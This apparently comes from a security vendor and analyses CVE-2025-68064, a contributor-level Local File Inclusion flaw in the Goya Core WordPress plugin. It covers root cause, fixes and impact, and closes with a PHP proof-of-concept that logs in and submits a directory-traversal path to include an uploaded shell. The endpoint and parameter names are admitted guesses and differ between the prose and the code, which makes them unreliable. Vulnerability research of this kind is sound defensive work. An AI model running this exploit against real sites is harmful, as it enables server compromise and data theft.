Atomic Edge analysis of CVE-2025-68064 (metadata-based): This vulnerability allows authenticated attackers with contributor-level access to perform Local File Inclusion (LFI) in the Goya Core plugin for WordPress versions up to 1.0.9.4. The flaw enables execution of arbitrary PHP code from included files, with a CVSS score of 7.5 under complex attack conditions.
The root cause is traced to CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program. The plugin likely passes a user-controllable parameter (for example, a file path or template name) directly to PHP functions like `include()`, `require()`, `include_once()`, or `require_once()` without validating or sanitizing the input. This is inferred from the CWE classification and the description, which states the vulnerability exists in versions up to 1.0.9.4 and is patched in the same version number, suggesting an incomplete or missing security fix. The contributor-level requirement indicates the plugin uses capability checks for the relevant functionality but fails to sanitize the file parameter.
Exploitation involves an authenticated contributor sending a crafted POST or GET request to a plugin endpoint. The likely target is an AJAX action handler or a page template loader within the Goya Core plugin, accessible via `/wp-admin/admin-ajax.php?action=goya_core_load_template` or a similar custom endpoint. The attacker supplies a path containing directory traversal sequences (e.g., `../../wp-content/uploads/evil.php`) to include an attacker-controlled PHP file (e.g., an image with embedded PHP code uploaded via the WordPress media library). The following proof-of-concept demonstrates this attack.
Remediation requires the plugin developer to implement proper input validation. The fix should whitelist allowed file paths, resolve and validate the real path using `realpath()`, and ensure the resulting path falls within an allowed directory. Additionally, the plugin must avoid user-supplied input in include/require statements entirely, preferring mapping user choices to hardcoded file lists.
Successful exploitation allows attackers to execute arbitrary PHP code on the server. This can lead to complete site compromise: privilege escalation to administrator, data exfiltration (database credentials, user data), backdoor installation, or lateral movement to other sites on shared hosting. The CVSS vector (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates high impact on confidentiality, integrity, and availability, though attack complexity is high due to the need for an attacker-controlled PHP file (typically uploaded as a media attachment).
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68064 - Goya Core < 1.0.9.4 - Authenticated (Contributor+) Local File Inclusion
// Assumptions:
// - The plugin registers an AJAX action 'goya_core_load_file' accessible via admin-ajax.php.
// - The action accepts a parameter 'file_path' passed to include().
// - The attacker has a contributor-level account.
// - An attacker-controlled PHP file exists on the server (e.g., uploaded as an image via media library).
$target_url = 'http://example.com'; // Change to target WordPress URL
$username = 'contributor'; // Change to valid contributor credentials
$password = 'password'; // Change to password
// Step 1: Authenticate as contributor
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
// Step 2: Prepare LFI payload
// The attacker controls a file at /wp-content/uploads/2025/01/shell.php (uploaded via media)
$payload_file = '../../wp-content/uploads/2025/01/shell.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'goya_core_load_file',
'file_path' => $payload_file,
'nonce' => '' // Nonce missing in vulnerable versions
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
echo "Response: " . $response;
// Clean up
unlink('/tmp/cookies.txt');
